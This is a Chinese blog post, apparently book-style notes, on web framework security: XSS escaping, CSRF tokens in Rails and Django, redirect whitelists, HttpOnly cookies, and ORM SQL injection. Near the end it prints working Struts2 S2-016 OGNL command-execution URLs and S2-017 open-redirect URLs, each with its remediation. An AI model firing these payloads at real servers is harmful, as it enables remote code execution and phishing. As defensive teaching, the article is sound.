您的位置:首页 > 其它

[web安全] Web框架安全

2015-06-25 22:49 274 查看
常见的框架有:Django(python),Struts2(java),Spring(java),Zend framework(php)

一、MVC框架安全

MVC是Model-View-Controller的缩写,它将Web应用分为三层,View层负责用户试图、页面展示等工作;Controller负责应用的逻辑实现,接收View层传入的用户请求,并转发给对应的Model做处理;Model层则负责实现模型,完成数据的处理。

从数据的流入来看,用户提交的数据先后流经了View层、Controller层、Model层,数据的流出则反过来。

二、模板引擎与XSS防御

在Django中使用Django Templates作为模板引擎,其中使用filters中的escape作为HtmlEncode的方法。

另一个流行模板引擎Velocity中,通过Event Handler来进行HtmlEncode

在模板引擎中,可以实现自定义的编码函数,应用于不同场景。在Django中是使用自定义filters,在Velocity中则可以使用“宏”(velocimacro)

三、Web框架与CSRF防御

CSRF攻击是借用户之手触发服务器操作。CSRF攻击的目标一般出现在“写数据”操作而非“读数据”操作。

对于Web框架来说,可以自动地在所有涉及POST的代码中添加token,这些地方包括所有的form表单、所有的Ajax POST请求等。

在Rails中,只需要在Application Controller中增加一行即可:

protect_from_forgery:secret => "12345678901234567890..."

它将根据secret和服务器端的随机因子自动生成token,并自动添加到所有form和由Rails生成的Ajax请求中。通过框架实现的这一功能大大简化了程序员的开发工作。

在Django中也有类似的功能:

首先将django.middleware.csrf.CsrfViewMiddleware添加到MIDDLEWARE_CLASSES中,

然后在form表单的模板中添加token即<form action="." method="post">{% csrf_token %}

接下来,确认在View层的函数中使用了django.core.context_processors.csrf,如果使用的是RequestContext,则默认已经使用了,否则需要手动添加。

在Spring MVC以及一些其他的流行Web框架中,并没有直接提供针对CSRF的保护,因此这些功能需要自己实现。

四、HTTP Header管理

在Web框架中,可以对HTTP头进行全局化的处理,因此一些基于HTTP头的安全方案可以很好地实施。

针对30X返回号的HTTP Response,浏览器将会跳转到Location指定的URL,攻击者往往利用此类功能实施钓鱼或诈骗。因此对于框架来说,管理好跳转目的地址是很有必要的。一般来说,可以在两个地方做这件事情:

(1)如果Web框架提供统一的跳转函数,则可以在跳转函数内部实现一个白名单,指定跳转地址只能在白名单中。

(2)另一种解决方式是控制HTTP的Location字段,限制Location的值只能是哪些地址,也能起到同样的效果,其本质还是白名单。

Cookie的HttpOnly Flag能防止session劫持,但并不是所有的Web服务器、Web容器、脚本语言提供的API都支持设置HttpOnly Cookie,所以很多时候需要由框架实现一个功能:对所有的Cookie默认添加HttpOnly,不需要此功能的Cookie则单独在配置文件中列出。

五、数据持久层与SQL注入

使用ORM(Object/Relation Mapping)框架对SQL注入是由积极意义的。以ORM框架ibatis举例,它支持动态SQL,可以在SQL语句中插入动态变量:$value$,如果用户能够控制这个变量,则会存在一个SQL注入的漏洞。而静态变量#value#是安全的。

在Django中,其提供的Database API,默认已经将所有输入进行SQL转义,比如,foo.get_list(bar__exact="' OR 1=1"),其最终效果类似于:SELECT * FROM foos WHERE bar = '\' OR 1=1'

六、Web框架自身安全

上面讲到的都是在Web框架中实现安全方案,但Web框架本身也可能会出现漏洞,只要是程序,就可能出现bug。

1.Struts2命令执行漏洞(CVE-2010-1870)

2.Spring MVC命令执行漏洞(CVE-2010-1622)

3.Django命令执行漏洞

七、经典实例
http://zone.wooyun.org/content/5159
Structs2曾经出现过两个比较严重的漏洞

1.CVE-2013-2251 S2-016

漏洞描述:

从Apache Struts 2.0.0至2.3.15.0 允许远程攻击者执行任意的OGNL(对象图导航语言)表达式,方式是通过构造以“action:”、“redirect:”或“redirectAction:”为前缀的参数。

利用实例:
command','goes','here'})).start()}' target='_blank'>http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} command','goes','here'})).start()}' target='_blank'>http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} command','goes','here'})).start()}' target='_blank'>http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
具体,比如启动本地的计算器程序可以通过如下方式:
calc','goes','here'})).start()}' target='_blank'>http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc','goes','here'})).start()}
改进方法:

DefaultActionMapper会过滤以“action:”为前缀的信息,并且将“redirect:”和“redirectAction:”两个前缀参数弃用。

2.CVE-2013-2248 S2-017

漏洞描述:

从Apache Struts 2.0.0至2.3.15.0 允许远程攻击者利用在“redirect:”或“redirectAction:”前缀中添加URL,将用户重定向到任意的网站并且实施钓鱼攻击。

利用实例:
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/ http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23
改进方法:

弃用“redirect:”和“redirectAction:”两个前缀参数。

小结:

Web框架本身也是应用程序的一个组成部分,只是这个组成部分较为特殊,处于基础和底层的位置。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: